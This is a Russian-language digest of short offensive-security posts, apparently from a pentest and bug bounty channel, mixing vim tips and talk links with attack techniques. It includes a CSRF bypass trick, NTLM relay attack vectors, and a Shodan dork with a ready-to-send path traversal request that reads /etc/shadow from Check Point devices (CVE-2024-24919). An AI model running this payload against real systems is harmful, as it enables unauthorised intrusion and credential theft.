🔍 Вы знаете, что сбор поддоменов — ключевая часть в разведке цели. Тут, как говорится, чем больше, тем лучше.

Ловите инструмент regulator, который использует регулярные выражения для обнаружения DNS. Можно использовать вместе с подобным инструментом altdns, а можно отдельно.

👉 GitHub

#recon #tools

🎤 Кстати, на этой странице доступны все доклады с киберфестиваля 2024 Positive Hack Days. Если не присутствовали, то обязательно к просмотру!

👀 Смотреть

👩‍💻 Удалите строки, соответствующие вашему шаблону, с помощью команды g в #vim:

• :g/pattern/d — удалить строки, соответствующие шаблону
• :g!/pattern/d — удалить строки, не соответствующие шаблону

👉 Подробнее

#tips

💡Простой способ обхода CSRF для проверки того, отправляет ли ваша цель данные в JSON-формате без anti-CSRF токена

Измените тип контента с application/json на text/plain и посмотрите, принимает ли он по-прежнему запрос 🥷

#bugbounty #tips

👩‍💻 Попробуйте эти два варианта для улучшения поиска в #vim:

• set ignorecase — игнорирует регистр
• set smartcase — поиск со смешанным регистром

#tips

🥷 Изучение необычных методов атаки на NTLM relay

Под катом вас ждет пять векторов атак на NTLM relay, о которых мало говорят:

1️⃣ Enumerating Domain Usernames via a Non-Admin SMB Relay
2️⃣ Relaying to Microsoft SQL Server
3️⃣ Relaying to LDAP and Configuring Resource-Based Delegation
4️⃣ Shadow Credentials Attack with no Prior Credentials
5️⃣ Shadow Credentials Attack Using Prior Credentials

#pentest #redteam

Все пишут про CVE-2024-24919, и мы напишем.

🔍 Дорк для Shodan: title:"Check Point" ssl:"target"

Эксплуатация👇

POST /clients/MyCRL HTTP/1.1
host: target
Content-Length: 39

aCSHELL/../../../../../../../etc/shadow

#CVE

👩‍💻 Полезный способ получить лучшее представление о коде, окружающем текущую строку в #vim:

• zt — измените положение области просмотра так, чтобы текущая строка находилась вверху
• zz — посередине
• zb — внизу

👉 Подробнее

🔥 Упрощение поиска и эксплуатации уязвимостей HTTP desync с помощью TRACE

Исследователь из PortSwigger рассматривает новую технику эксплуатации, которую можно использовать для полной компрометации веб-приложения с помощью TRACE — древнего метода HTTP, который поддерживается более широко, чем вы думаете. 

👉 Читать

#bugbounty #pentest #tools

🤖 Web Apps: APIs’ Nightmare — доклад исследователя и пентестера Paulo Silva, посвященный трансформации веб-приложений. Автор проведет вас по пути от традиционной архитектуры к современным парадигмам.

Вы узнаете, как:

☑️ Традиционные приложения полагались на отдельные файлы, получаемые с помощью HTTP-запросов, в то время как современные объединяют код в пакеты и используют API для создания динамического контента.
☑️ Мобильные приложения, IoT и веб-приложения взаимодействуют через API.

Кроме того, вы получите представление о 10 основных рисках безопасности API OWASP + ценные ресурсы для безопасной разработки API.

📺 Смотреть

#pentest #bugbounty

💵203 000 за 4 уязвимости в боте Azure Health

Обзор двух RCE, path traversal и memory leak от канала Bug Bounty Reports Explained. Кратко, ёмко и по делу👇

👀 Смотреть

#writeup #pentest #bugbounty